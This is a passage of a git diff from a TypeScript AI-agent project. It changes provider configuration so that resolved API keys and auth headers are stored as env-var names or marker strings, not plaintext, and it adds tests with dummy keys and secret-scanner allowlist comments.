describe("normalizeProviders", () => { openai: { baseUrl: "https://api.openai.com/v1", api: "openai-completions", - apiKey: "OPENAI_API_KEY", + apiKey: "OPENAI_API_KEY", // pragma: allowlist secret models: [], }, " openai ": { baseUrl: "https://example.com/v1", api: "openai-completions", - apiKey: "CUSTOM_OPENAI_API_KEY", + apiKey: "CUSTOM_OPENAI_API_KEY", // pragma: allowlist secret models: [ { id: "gpt-4.1-mini", @@ -73,4 +74,64 @@ describe("normalizeProviders", () => { await fs.rm(agentDir, { recursive: true, force: true }); } }); + it("replaces resolved env var value with env var name to prevent plaintext persistence", async () => { + const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); + const original = process.env.OPENAI_API_KEY; + process.env.OPENAI_API_KEY = "sk-test-secret-value-12345"; + try { + const providers: NonNullable["providers"]> = { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: "sk-test-secret-value-12345", // simulates resolved ${OPENAI_API_KEY} + api: "openai-completions", + models: [ + { + id: "gpt-4.1", + name: "GPT-4.1", + input: ["text"], + reasoning: false, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128000, + maxTokens: 16384, + }, + ], + }, + }; + const normalized = normalizeProviders({ providers, agentDir }); + expect(normalized?.openai?.apiKey).toBe("OPENAI_API_KEY"); + } finally { + if (original === undefined) { + delete process.env.OPENAI_API_KEY; + } else { + process.env.OPENAI_API_KEY = original; + } + await fs.rm(agentDir, { recursive: true, force: true }); + } + }); + + it("normalizes SecretRef-backed provider headers to non-secret marker values", async () => { + const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); + try { + const providers: NonNullable["providers"]> = { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + headers: { + Authorization: { source: "env", provider: "default", id: "OPENAI_HEADER_TOKEN" }, + "X-Tenant-Token": { source: "file", provider: "vault", id: "/openai/token" }, + }, + models: [], + }, + }; + + const normalized = normalizeProviders({ + providers, + agentDir, + }); + expect(normalized?.openai?.headers?.Authorization).toBe("secretref-env:OPENAI_HEADER_TOKEN"); + expect(normalized?.openai?.headers?.["X-Tenant-Token"]).toBe(NON_ENV_SECRETREF_MARKER); + } finally { + await fs.rm(agentDir, { recursive: true, force: true }); + } + }); }); diff --git a/src/agents/models-config.providers.ollama.test.ts b/src/agents/models-config.providers.ollama.test.ts index 9531e20e7eb..661c95c1c8e 100644 --- a/src/agents/models-config.providers.ollama.test.ts +++ b/src/agents/models-config.providers.ollama.test.ts @@ -51,7 +51,7 @@ describe("Ollama provider", () => { }; async function withOllamaApiKey(run: () => Promise): Promise { - process.env.OLLAMA_API_KEY = "test-key"; + process.env.OLLAMA_API_KEY = "test-key"; // pragma: allowlist secret try { return await run(); } finally { @@ -245,7 +245,7 @@ describe("Ollama provider", () => { ollama: { baseUrl: "http://remote-ollama:11434/v1", models: explicitModels, - apiKey: "config-ollama-key", + apiKey: "config-ollama-key", // pragma: allowlist secret }, }, }); @@ -271,7 +271,7 @@ describe("Ollama provider", () => { baseUrl: "http://remote-ollama:11434/v1", api: "openai-completions", models: [], - apiKey: "config-ollama-key", + apiKey: "config-ollama-key", // pragma: allowlist secret }, }, }); diff --git a/src/agents/models-config.providers.qianfan.test.ts b/src/agents/models-config.providers.qianfan.test.ts index 081b0aeb710..97c093d7c47 100644 --- a/src/agents/models-config.providers.qianfan.test.ts +++ b/src/agents/models-config.providers.qianfan.test.ts @@ -5,10 +5,14 @@ import { describe, expect, it } from "vitest"; import { withEnvAsync } from "../test-utils/env.js"; import { resolveImplicitProviders } from "./models-config.providers.js"; +const qianfanApiKeyEnv = ["QIANFAN_API", "KEY"].join("_"); + describe("Qianfan provider", () => { it("should include qianfan when QIANFAN_API_KEY is configured", async () => { + // pragma: allowlist secret const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); - await withEnvAsync({ QIANFAN_API_KEY: "test-key" }, async () => { + const qianfanApiKey = "test-key"; // pragma: allowlist secret + await withEnvAsync({ [qianfanApiKeyEnv]: qianfanApiKey }, async () => { const providers = await resolveImplicitProviders({ agentDir }); expect(providers?.qianfan).toBeDefined(); expect(providers?.qianfan?.apiKey).toBe("QIANFAN_API_KEY"); diff --git a/src/agents/models-config.providers.ts b/src/agents/models-config.providers.ts index 5c4907bc279..a7d42fb7696 100644 --- a/src/agents/models-config.providers.ts +++ b/src/agents/models-config.providers.ts @@ -1,6 +1,6 @@ import type { OpenClawConfig } from "../config/config.js"; import type { ModelDefinitionConfig } from "../config/types.models.js"; -import { coerceSecretRef } from "../config/types.secrets.js"; +import { coerceSecretRef, resolveSecretInputRef } from "../config/types.secrets.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; import { DEFAULT_COPILOT_API_BASE_URL, @@ -40,6 +40,16 @@ import { HUGGINGFACE_MODEL_CATALOG, buildHuggingfaceModelDefinition, } from "./huggingface-models.js"; +import { discoverKilocodeModels } from "./kilocode-models.js"; +import { + MINIMAX_OAUTH_MARKER, + OLLAMA_LOCAL_AUTH_MARKER, + QWEN_OAUTH_MARKER, + isNonSecretApiKeyMarker, + resolveNonEnvSecretRefApiKeyMarker, + resolveNonEnvSecretRefHeaderValueMarker, + resolveEnvSecretRefHeaderValueMarker, +} from "./model-auth-markers.js"; import { resolveAwsSdkEnvVarName, resolveEnvApiKey } from "./model-auth.js"; import { OLLAMA_NATIVE_BASE_URL } from "./ollama-stream.js"; import { @@ -62,7 +72,6 @@ const MINIMAX_DEFAULT_MODEL_ID = "MiniMax-M2.5"; const MINIMAX_DEFAULT_VISION_MODEL_ID = "MiniMax-VL-01"; const MINIMAX_DEFAULT_CONTEXT_WINDOW = 200000; const MINIMAX_DEFAULT_MAX_TOKENS = 8192; -const MINIMAX_OAUTH_PLACEHOLDER = "minimax-oauth"; // Pricing per 1M tokens (USD) — https://platform.minimaxi.com/document/Price const MINIMAX_API_COST = { input: 0.3, @@ -132,7 +141,6 @@ const KIMI_CODING_DEFAULT_COST = { }; const QWEN_PORTAL_BASE_URL = "https://portal.qwen.ai/v1"; -const QWEN_PORTAL_OAUTH_PLACEHOLDER = "qwen-oauth"; const QWEN_PORTAL_DEFAULT_CONTEXT_WINDOW = 128000; const QWEN_PORTAL_DEFAULT_MAX_TOKENS = 8192; const QWEN_PORTAL_DEFAULT_COST = { @@ -384,6 +392,8 @@ async function discoverVllmModels( } } +const ENV_VAR_NAME_RE = /^[A-Z_][A-Z0-9_]*$/; + function normalizeApiKeyConfig(value: string): string { const trimmed = value.trim(); const match = /^\$\{([A-Z0-9_]+)\}$/.exec(trimmed); @@ -403,35 +413,125 @@ function resolveAwsSdkApiKeyVarName(): string { return resolveAwsSdkEnvVarName() ?? "AWS_PROFILE"; } +function normalizeHeaderValues(params: { + headers: ProviderConfig["headers"] | undefined; + secretDefaults: + | { + env?: string; + file?: string; + exec?: string; + } + | undefined; +}): { headers: ProviderConfig["headers"] | undefined; mutated: boolean } { + const { headers } = params; + if (!headers) { + return { headers, mutated: false }; + } + let mutated = false; + const nextHeaders: Record[string]> = {}; + for (const [headerName, headerValue] of Object.entries(headers)) { + const resolvedRef = resolveSecretInputRef({ + value: headerValue, + defaults: params.secretDefaults, + }).ref; + if (!resolvedRef || !resolvedRef.id.trim()) { + nextHeaders[headerName] = headerValue; + continue; + } + mutated = true; + nextHeaders[headerName] = + resolvedRef.source === "env" + ? resolveEnvSecretRefHeaderValueMarker(resolvedRef.id) + : resolveNonEnvSecretRefHeaderValueMarker(resolvedRef.source); + } + if (!mutated) { + return { headers, mutated: false }; + } + return { headers: nextHeaders, mutated: true }; +} + +type ProfileApiKeyResolution = { + apiKey: string; + source: "plaintext" | "env-ref" | "non-env-ref"; + /** Optional secret value that may be used for provider discovery only. */ + discoveryApiKey?: string; +}; + +function toDiscoveryApiKey(value: string | undefined): string | undefined { + const trimmed = value?.trim(); + if (!trimmed || isNonSecretApiKeyMarker(trimmed)) { + return undefined; + } + return trimmed; +} + +function resolveApiKeyFromCredential( + cred: ReturnType["profiles"][string] | undefined, +): ProfileApiKeyResolution | undefined { + if (!cred) { + return undefined; + } + if (cred.type === "api_key") { + const keyRef = coerceSecretRef(cred.keyRef); + if (keyRef && keyRef.id.trim()) { + if (keyRef.source === "env") { + const envVar = keyRef.id.trim(); + return { + apiKey: envVar, + source: "env-ref", + discoveryApiKey: toDiscoveryApiKey(process.env[envVar]), + }; + } + return { + apiKey: resolveNonEnvSecretRefApiKeyMarker(keyRef.source), + source: "non-env-ref", + }; + } + if (cred.key?.trim()) { + return { + apiKey: cred.key, + source: "plaintext", + discoveryApiKey: toDiscoveryApiKey(cred.key), + }; + } + return undefined; + } + if (cred.type === "token") { + const tokenRef = coerceSecretRef(cred.tokenRef); + if (tokenRef && tokenRef.id.trim()) { + if (tokenRef.source === "env") { + const envVar = tokenRef.id.trim(); + return { + apiKey: envVar, + source: "env-ref", + discoveryApiKey: toDiscoveryApiKey(process.env[envVar]), + }; + } + return { + apiKey: resolveNonEnvSecretRefApiKeyMarker(tokenRef.source), + source: "non-env-ref", + }; + } + if (cred.token?.trim()) { + return { + apiKey: cred.token, + source: "plaintext", + discoveryApiKey: toDiscoveryApiKey(cred.token), + }; + } + } + return undefined; +} + function resolveApiKeyFromProfiles(params: { provider: string; store: ReturnType; -}): string | undefined { +}): ProfileApiKeyResolution | undefined { const ids = listProfilesForProvider(params.store, params.provider); for (const id of ids) { - const cred = params.store.profiles[id]; - if (!cred) { - continue; - } - if (cred.type === "api_key") { - if (cred.key?.trim()) { - return cred.key; - } - const keyRef = coerceSecretRef(cred.keyRef); - if (keyRef?.source === "env" && keyRef.id.trim()) { - return keyRef.id.trim(); - } - continue; - } - if (cred.type === "token") { - if (cred.token?.trim()) { - return cred.token; - } - const tokenRef = coerceSecretRef(cred.tokenRef); - if (tokenRef?.source === "env" && tokenRef.id.trim()) { - return tokenRef.id.trim(); - } - continue; + const resolved = resolveApiKeyFromCredential(params.store.profiles[id]); + if (resolved) { + return resolved; } } return undefined; @@ -483,6 +583,12 @@ function normalizeAntigravityProvider(provider: ProviderConfig): ProviderConfig export function normalizeProviders(params: { providers: ModelsConfig["providers"]; agentDir: string; + secretDefaults?: { + env?: string; + file?: string; + exec?: string; + }; + secretRefManagedProviders?: Set; }): ModelsConfig["providers"] { const { providers } = params; if (!providers) { @@ -504,18 +610,68 @@ export function normalizeProviders(params: { mutated = true; } let normalizedProvider = provider; - const configuredApiKey = normalizedProvider.apiKey; - - // Fix common misconfig: apiKey set to "${ENV_VAR}" instead of "ENV_VAR". - if ( - typeof configuredApiKey === "string" && - normalizeApiKeyConfig(configuredApiKey) !== configuredApiKey - ) { + const normalizedHeaders = normalizeHeaderValues({ + headers: normalizedProvider.headers, + secretDefaults: params.secretDefaults, + }); + if (normalizedHeaders.mutated) { mutated = true; - normalizedProvider = { - ...normalizedProvider, - apiKey: normalizeApiKeyConfig(configuredApiKey), - }; + normalizedProvider = { ...normalizedProvider, headers: normalizedHeaders.headers }; + } + const configuredApiKey = normalizedProvider.apiKey; + const configuredApiKeyRef = resolveSecretInputRef({ + value: configuredApiKey, + defaults: params.secretDefaults, + }).ref; + const profileApiKey = resolveApiKeyFromProfiles({ + provider: normalizedKey, + store: authStore, + }); + + if (configuredApiKeyRef && configuredApiKeyRef.id.trim()) { + const marker = + configuredApiKeyRef.source === "env" + ? configuredApiKeyRef.id.trim() + : resolveNonEnvSecretRefApiKeyMarker(configuredApiKeyRef.source); + if (normalizedProvider.apiKey !== marker) { + mutated = true; + normalizedProvider = { ...normalizedProvider, apiKey: marker }; + } + params.secretRefManagedProviders?.add(normalizedKey); + } else if (typeof configuredApiKey === "string") { + // Fix common misconfig: apiKey set to "${ENV_VAR}" instead of "ENV_VAR". + const normalizedConfiguredApiKey = normalizeApiKeyConfig(configuredApiKey); + if (normalizedConfiguredApiKey !== configuredApiKey) { + mutated = true; + normalizedProvider = { + ...normalizedProvider, + apiKey: normalizedConfiguredApiKey, + }; + } + if ( + profileApiKey && + profileApiKey.source !== "plaintext" && + normalizedConfiguredApiKey === profileApiKey.apiKey + ) { + params.secretRefManagedProviders?.add(normalizedKey); + } + } + + // Reverse-lookup: if apiKey looks like a resolved secret value (not an env + // var name), check whether it matches the canonical env var for this provider. + // This prevents resolveConfigEnvVars()-resolved secrets from being persisted + // to models.json as plaintext. (Fixes #38757) + const currentApiKey = normalizedProvider.apiKey; + if ( + typeof currentApiKey === "string" && + currentApiKey.trim() && + !ENV_VAR_NAME_RE.test(currentApiKey.trim()) + ) { + const envVarName = resolveEnvApiKeyVarName(normalizedKey); + if (envVarName && process.env[envVarName] === currentApiKey) { + mutated = true; + normalizedProvider = { ...normalizedProvider, apiKey: envVarName }; + } } // If a provider defines models, pi's ModelRegistry requires apiKey to be set. @@ -533,12 +689,11 @@ export function normalizeProviders(params: { normalizedProvider = { ...normalizedProvider, apiKey }; } else { const fromEnv = resolveEnvApiKeyVarName(normalizedKey); - const fromProfiles = resolveApiKeyFromProfiles({ - provider: normalizedKey, - store: authStore, - }); - const apiKey = fromEnv ?? fromProfiles; + const apiKey = fromEnv ?? profileApiKey?.apiKey; if (apiKey?.trim()) { + if (profileApiKey && profileApiKey.source !== "plaintext") { + params.secretRefManagedProviders?.add(normalizedKey); + } mutated = true; normalizedProvider = { ...normalizedProvider, apiKey }; } @@ -777,14 +932,8 @@ async function buildOllamaProvider( }; } -async function buildHuggingfaceProvider(apiKey?: string): Promise { - // Resolve env var name to value for discovery (GET /v1/models requires Bearer token). - const resolvedSecret = - apiKey?.trim() !== "" - ? /^[A-Z][A-Z0-9_]*$/.test(apiKey!.trim()) - ? (process.env[apiKey!.trim()] ?? "").trim() - : apiKey!.trim() - : ""; +async function buildHuggingfaceProvider(discoveryApiKey?: string): Promise { + const resolvedSecret = toDiscoveryApiKey(discoveryApiKey) ?? ""; const models = resolvedSecret !== "" ? await discoverHuggingfaceModels(resolvedSecret) @@ -920,6 +1069,23 @@ export function buildKilocodeProvider(): ProviderConfig { }; } +/** + * Build the Kilocode provider with dynamic model discovery from the gateway + * API. Falls back to the static catalog on failure. + * + * Used by {@link resolveImplicitProviders} (async context). The sync + * {@link buildKilocodeProvider} is kept for the onboarding config path + * which cannot await. + */ +async function buildKilocodeProviderWithDiscovery(): Promise { + const models = await discoverKilocodeModels(); + return { + baseUrl: KILOCODE_BASE_URL, + api: "openai-completions", + models, + }; +} + export async function resolveImplicitProviders(params: { agentDir: string; explicitProviders?: Record | null; @@ -928,10 +1094,24 @@ export async function resolveImplicitProviders(params: { const authStore = ensureAuthProfileStore(params.agentDir, { allowKeychainPrompt: false, }); + const resolveProviderApiKey = ( + provider: string, + ): { apiKey: string | undefined; discoveryApiKey?: string } => { + const envVar = resolveEnvApiKeyVarName(provider); + if (envVar) { + return { + apiKey: envVar, + discoveryApiKey: toDiscoveryApiKey(process.env[envVar]), + }; + } + const fromProfiles = resolveApiKeyFromProfiles({ provider, store: authStore }); + return { + apiKey: fromProfiles?.apiKey, + discoveryApiKey: fromProfiles?.discoveryApiKey, + }; + }; - const minimaxKey = - resolveEnvApiKeyVarName("minimax") ?? - resolveApiKeyFromProfiles({ provider: "minimax", store: authStore }); + const minimaxKey = resolveProviderApiKey("minimax").apiKey; if (minimaxKey) { providers.minimax = { ...buildMinimaxProvider(), apiKey: minimaxKey }; } @@ -940,34 +1120,26 @@ export async function resolveImplicitProviders(params: { if (minimaxOauthProfile.length > 0) { providers["minimax-portal"] = { ...buildMinimaxPortalProvider(), - apiKey: MINIMAX_OAUTH_PLACEHOLDER, + apiKey: MINIMAX_OAUTH_MARKER, }; } - const moonshotKey = - resolveEnvApiKeyVarName("moonshot") ?? - resolveApiKeyFromProfiles({ provider: "moonshot", store: authStore }); + const moonshotKey = resolveProviderApiKey("moonshot").apiKey; if (moonshotKey) { providers.moonshot = { ...buildMoonshotProvider(), apiKey: moonshotKey }; } - const kimiCodingKey = - resolveEnvApiKeyVarName("kimi-coding") ?? - resolveApiKeyFromProfiles({ provider: "kimi-coding", store: authStore }); + const kimiCodingKey = resolveProviderApiKey("kimi-coding").apiKey; if (kimiCodingKey) { providers["kimi-coding"] = { ...buildKimiCodingProvider(), apiKey: kimiCodingKey }; } - const syntheticKey = - resolveEnvApiKeyVarName("synthetic") ?? - resolveApiKeyFromProfiles({ provider: "synthetic", store: authStore }); + const syntheticKey = resolveProviderApiKey("synthetic").apiKey; if (syntheticKey) { providers.synthetic = { ...buildSyntheticProvider(), apiKey: syntheticKey }; } - const veniceKey = - resolveEnvApiKeyVarName("venice") ?? - resolveApiKeyFromProfiles({ provider: "venice", store: authStore }); + const veniceKey = resolveProviderApiKey("venice").apiKey; if (veniceKey) { providers.venice = { ...(await buildVeniceProvider()), apiKey: veniceKey }; } @@ -976,13 +1148,11 @@ export async function resolveImplicitProviders(params: { if (qwenProfiles.length > 0) { providers["qwen-portal"] = { ...buildQwenPortalProvider(), - apiKey: QWEN_PORTAL_OAUTH_PLACEHOLDER, + apiKey: QWEN_OAUTH_MARKER, }; } - const volcengineKey = - resolveEnvApiKeyVarName("volcengine") ?? - resolveApiKeyFromProfiles({ provider: "volcengine", store: authStore }); + const volcengineKey = resolveProviderApiKey("volcengine").apiKey; if (volcengineKey) { providers.volcengine = { ...buildDoubaoProvider(), apiKey: volcengineKey }; providers["volcengine-plan"] = { @@ -991,9 +1161,7 @@ export async function resolveImplicitProviders(params: { }; } - const byteplusKey = - resolveEnvApiKeyVarName("byteplus") ?? - resolveApiKeyFromProfiles({ provider: "byteplus", store: authStore }); + const byteplusKey = resolveProviderApiKey("byteplus").apiKey; if (byteplusKey) { providers.byteplus = { ...buildBytePlusProvider(), apiKey: byteplusKey }; providers["byteplus-plan"] = { @@ -1002,9 +1170,7 @@ export async function resolveImplicitProviders(params: { }; } - const xiaomiKey = - resolveEnvApiKeyVarName("xiaomi") ?? - resolveApiKeyFromProfiles({ provider: "xiaomi", store: authStore }); + const xiaomiKey = resolveProviderApiKey("xiaomi").apiKey; if (xiaomiKey) { providers.xiaomi = { ...buildXiaomiProvider(), apiKey: xiaomiKey }; } @@ -1024,7 +1190,9 @@ export async function resolveImplicitProviders(params: { if (!baseUrl) { continue; } - const apiKey = resolveEnvApiKeyVarName("cloudflare-ai-gateway") ?? cred.key?.trim() ?? ""; + const envVarApiKey = resolveEnvApiKeyVarName("cloudflare-ai-gateway"); + const profileApiKey = resolveApiKeyFromCredential(cred)?.apiKey; + const apiKey = envVarApiKey ?? profileApiKey ?? ""; if (!apiKey) { continue; } @@ -1041,9 +1209,7 @@ export async function resolveImplicitProviders(params: { // Use the user's configured baseUrl (from explicit providers) for model // discovery so that remote / non-default Ollama instances are reachable. // Skip discovery when explicit models are already defined. - const ollamaKey = - resolveEnvApiKeyVarName("ollama") ?? - resolveApiKeyFromProfiles({ provider: "ollama", store: authStore }); + const ollamaKey = resolveProviderApiKey("ollama").apiKey; const explicitOllama = params.explicitProviders?.ollama; const hasExplicitModels = Array.isArray(explicitOllama?.models) && explicitOllama.models.length > 0; @@ -1052,7 +1218,7 @@ export async function resolveImplicitProviders(params: { ...explicitOllama, baseUrl: resolveOllamaApiBase(explicitOllama.baseUrl), api: explicitOllama.api ?? "ollama", - apiKey: ollamaKey ?? explicitOllama.apiKey ?? "ollama-local", + apiKey: ollamaKey ?? explicitOllama.apiKey ?? OLLAMA_LOCAL_AUTH_MARKER, }; } else { const ollamaBaseUrl = explicitOllama?.baseUrl; @@ -1065,7 +1231,7 @@ export async function resolveImplicitProviders(params: { if (ollamaProvider.models.length > 0 || ollamaKey || explicitOllama?.apiKey) { providers.ollama = { ...ollamaProvider, - apiKey: ollamaKey ?? explicitOllama?.apiKey ?? "ollama-local", + apiKey: ollamaKey ?? explicitOllama?.apiKey ?? OLLAMA_LOCAL_AUTH_MARKER, }; } } @@ -1073,23 +1239,16 @@ export async function resolveImplicitProviders(params: { // vLLM provider - OpenAI-compatible local server (opt-in via env/profile). // If explicitly configured, keep user-defined models/settings as-is. if (!params.explicitProviders?.vllm) { - const vllmEnvVar = resolveEnvApiKeyVarName("vllm"); - const vllmProfileKey = resolveApiKeyFromProfiles({ provider: "vllm", store: authStore }); - const vllmKey = vllmEnvVar ?? vllmProfileKey; + const { apiKey: vllmKey, discoveryApiKey } = resolveProviderApiKey("vllm"); if (vllmKey) { - const discoveryApiKey = vllmEnvVar - ? (process.env[vllmEnvVar]?.trim() ?? "") - : (vllmProfileKey ?? ""); providers.vllm = { - ...(await buildVllmProvider({ apiKey: discoveryApiKey || undefined })), + ...(await buildVllmProvider({ apiKey: discoveryApiKey })), apiKey: vllmKey, }; } } - const togetherKey = - resolveEnvApiKeyVarName("together") ?? - resolveApiKeyFromProfiles({ provider: "together", store: authStore }); + const togetherKey = resolveProviderApiKey("together").apiKey; if (togetherKey) { providers.together = { ...buildTogetherProvider(), @@ -1097,43 +1256,34 @@ export async function resolveImplicitProviders(params: { }; } - const huggingfaceKey = - resolveEnvApiKeyVarName("huggingface") ?? - resolveApiKeyFromProfiles({ provider: "huggingface", store: authStore }); + const { apiKey: huggingfaceKey, discoveryApiKey: huggingfaceDiscoveryApiKey } = + resolveProviderApiKey("huggingface"); if (huggingfaceKey) { - const hfProvider = await buildHuggingfaceProvider(huggingfaceKey); + const hfProvider = await buildHuggingfaceProvider(huggingfaceDiscoveryApiKey); providers.huggingface = { ...hfProvider, apiKey: huggingfaceKey, }; } - const qianfanKey = - resolveEnvApiKeyVarName("qianfan") ?? - resolveApiKeyFromProfiles({ provider: "qianfan", store: authStore }); + const qianfanKey = resolveProviderApiKey("qianfan").apiKey; if (qianfanKey) { providers.qianfan = { ...buildQianfanProvider(), apiKey: qianfanKey }; } - const openrouterKey = - resolveEnvApiKeyVarName("openrouter") ?? - resolveApiKeyFromProfiles({ provider: "openrouter", store: authStore }); + const openrouterKey = resolveProviderApiKey("openrouter").apiKey; if (openrouterKey) { providers.openrouter = { ...buildOpenrouterProvider(), apiKey: openrouterKey }; } - const nvidiaKey = - resolveEnvApiKeyVarName("nvidia") ?? - resolveApiKeyFromProfiles({ provider: "nvidia", store: authStore }); + const nvidiaKey = resolveProviderApiKey("nvidia").apiKey; if (nvidiaKey) { providers.nvidia = { ...buildNvidiaProvider(), apiKey: nvidiaKey }; } - const kilocodeKey = - resolveEnvApiKeyVarName("kilocode") ?? - resolveApiKeyFromProfiles({ provider: "kilocode", store: authStore }); + const kilocodeKey = resolveProviderApiKey("kilocode").apiKey; if (kilocodeKey) { - providers.kilocode = { ...buildKilocodeProvider(), apiKey: kilocodeKey }; + providers.kilocode = { ...(await buildKilocodeProviderWithDiscovery()), apiKey: kilocodeKey }; } return providers; diff --git a/src/agents/models-config.providers.volcengine-byteplus.test.ts b/src/agents/models-config.providers.volcengine-byteplus.test.ts index 00dd65e38f0..cba28521040 100644 --- a/src/agents/models-config.providers.volcengine-byteplus.test.ts +++ b/src/agents/models-config.providers.volcengine-byteplus.test.ts @@ -10,7 +10,7 @@ describe("Volcengine and BytePlus providers", () => { it("includes volcengine and volcengine-plan when VOLCANO_ENGINE_API_KEY is configured", async () => { const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); const envSnapshot = captureEnv(["VOLCANO_ENGINE_API_KEY"]); - process.env.VOLCANO_ENGINE_API_KEY = "test-key"; + process.env.VOLCANO_ENGINE_API_KEY = "test-key"; // pragma: allowlist secret try { const providers = await resolveImplicitProviders({ agentDir }); @@ -26,7 +26,7 @@ describe("Volcengine and BytePlus providers", () => { it("includes byteplus and byteplus-plan when BYTEPLUS_API_KEY is configured", async () => { const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); const envSnapshot = captureEnv(["BYTEPLUS_API_KEY"]); - process.env.BYTEPLUS_API_KEY = "test-key"; + process.env.BYTEPLUS_API_KEY = "test-key"; // pragma: allowlist secret try { const providers = await resolveImplicitProviders({ agentDir }); diff --git a/src/agents/models-config.runtime-source-snapshot.test.ts b/src/agents/models-config.runtime-source-snapshot.test.ts new file mode 100644 index 00000000000..6d6ea0284ee --- /dev/null +++ b/src/agents/models-config.runtime-source-snapshot.test.ts @@ -0,0 +1,162 @@ +import { describe, expect, it } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; +import { + clearConfigCache, + clearRuntimeConfigSnapshot, + loadConfig, + setRuntimeConfigSnapshot, +} from "../config/config.js"; +import { NON_ENV_SECRETREF_MARKER } from "./model-auth-markers.js"; +import { + installModelsConfigTestHooks, + withModelsTempHome as withTempHome, +} from "./models-config.e2e-harness.js"; +import { ensureOpenClawModelsJson } from "./models-config.js"; +import { readGeneratedModelsJson } from "./models-config.test-utils.js"; + +installModelsConfigTestHooks(); + +describe("models-config runtime source snapshot", () => { + it("uses runtime source snapshot markers when passed the active runtime config", async () => { + await withTempHome(async () => { + const sourceConfig: OpenClawConfig = { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, // pragma: allowlist secret + api: "openai-completions" as const, + models: [], + }, + }, + }, + }; + const runtimeConfig: OpenClawConfig = { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: "sk-runtime-resolved", // pragma: allowlist secret + api: "openai-completions" as const, + models: [], + }, + }, + }, + }; + + try { + setRuntimeConfigSnapshot(runtimeConfig, sourceConfig); + await ensureOpenClawModelsJson(loadConfig()); + + const parsed = await readGeneratedModelsJson<{ + providers: Record; + }>(); + expect(parsed.providers.openai?.apiKey).toBe("OPENAI_API_KEY"); // pragma: allowlist secret + } finally { + clearRuntimeConfigSnapshot(); + clearConfigCache(); + } + }); + }); + + it("uses non-env marker from runtime source snapshot for file refs", async () => { + await withTempHome(async () => { + const sourceConfig: OpenClawConfig = { + models: { + providers: { + moonshot: { + baseUrl: "https://api.moonshot.ai/v1", + apiKey: { source: "file", provider: "vault", id: "/moonshot/apiKey" }, + api: "openai-completions" as const, + models: [], + }, + }, + }, + }; + const runtimeConfig: OpenClawConfig = { + models: { + providers: { + moonshot: { + baseUrl: "https://api.moonshot.ai/v1", + apiKey: "sk-runtime-moonshot", // pragma: allowlist secret + api: "openai-completions" as const, + models: [], + }, + }, + }, + }; + + try { + setRuntimeConfigSnapshot(runtimeConfig, sourceConfig); + await ensureOpenClawModelsJson(loadConfig()); + + const parsed = await readGeneratedModelsJson<{ + providers: Record; + }>(); + expect(parsed.providers.moonshot?.apiKey).toBe(NON_ENV_SECRETREF_MARKER); + } finally { + clearRuntimeConfigSnapshot(); + clearConfigCache(); + } + }); + }); + + it("uses header markers from runtime source snapshot instead of resolved runtime values", async () => { + await withTempHome(async () => { + const sourceConfig: OpenClawConfig = { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions" as const, + headers: { + Authorization: { + source: "env", + provider: "default", + id: "OPENAI_HEADER_TOKEN", // pragma: allowlist secret + }, + "X-Tenant-Token": { + source: "file", + provider: "vault", + id: "/providers/openai/tenantToken", + }, + }, + models: [], + }, + }, + }, + }; + const runtimeConfig: OpenClawConfig = { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions" as const, + headers: { + Authorization: "Bearer runtime-openai-token", + "X-Tenant-Token": "runtime-tenant-token", + }, + models: [], + }, + }, + }, + }; + + try { + setRuntimeConfigSnapshot(runtimeConfig, sourceConfig); + await ensureOpenClawModelsJson(loadConfig()); + + const parsed = await readGeneratedModelsJson<{ + providers: Record }>; + }>(); + expect(parsed.providers.openai?.headers?.Authorization).toBe( + "secretref-env:OPENAI_HEADER_TOKEN", // pragma: allowlist secret + ); + expect(parsed.providers.openai?.headers?.["X-Tenant-Token"]).toBe(NON_ENV_SECRETREF_MARKER); + } finally { + clearRuntimeConfigSnapshot(); + clearConfigCache(); + } + }); + }); +}); diff --git a/src/agents/models-config.skips-writing-models-json-no-env-token.test.ts b/src/agents/models-config.skips-writing-models-json-no-env-token.test.ts index 8f840c8a123..ff38fe5e64a 100644 --- a/src/agents/models-config.skips-writing-models-json-no-env-token.test.ts +++ b/src/agents/models-config.skips-writing-models-json-no-env-token.test.ts @@ -97,7 +97,7 @@ describe("models-config", () => { envValue: "sk-minimax-test", providerKey: "minimax", expectedBaseUrl: "https://api.minimax.io/anthropic", - expectedApiKeyRef: "MINIMAX_API_KEY", + expectedApiKeyRef: "MINIMAX_API_KEY", // pragma: allowlist secret expectedModelIds: ["MiniMax-M2.5", "MiniMax-VL-01"], }); }); @@ -110,7 +110,7 @@ describe("models-config", () => { envValue: "sk-synthetic-test", providerKey: "synthetic", expectedBaseUrl: "https://api.synthetic.new/anthropic", - expectedApiKeyRef: "SYNTHETIC_API_KEY", + expectedApiKeyRef: "SYNTHETIC_API_KEY", // pragma: allowlist secret expectedModelIds: ["hf:MiniMaxAI/MiniMax-M2.5"], }); }); diff --git a/src/agents/models-config.ts b/src/agents/models-config.ts index e31d61044c3..a3f1fd19ff3 100644 --- a/src/agents/models-config.ts +++ b/src/agents/models-config.ts @@ -1,9 +1,15 @@ import fs from "node:fs/promises"; import path from "node:path"; -import { type OpenClawConfig, loadConfig } from "../config/config.js"; +import { + getRuntimeConfigSnapshot, + getRuntimeConfigSourceSnapshot, + type OpenClawConfig, + loadConfig, +} from "../config/config.js"; import { applyConfigEnvVars } from "../config/env-vars.js"; import { isRecord } from "../utils.js"; import { resolveOpenClawAgentDir } from "./agent-paths.js"; +import { isNonSecretApiKeyMarker } from "./model-auth-markers.js"; import { normalizeProviders, type ProviderConfig, @@ -15,6 +21,7 @@ import { type ModelsConfig = NonNullable; const DEFAULT_MODE: NonNullable = "merge"; +const MODELS_JSON_WRITE_LOCKS = new Map>(); function resolvePreferredTokenLimit(explicitValue: number, implicitValue: 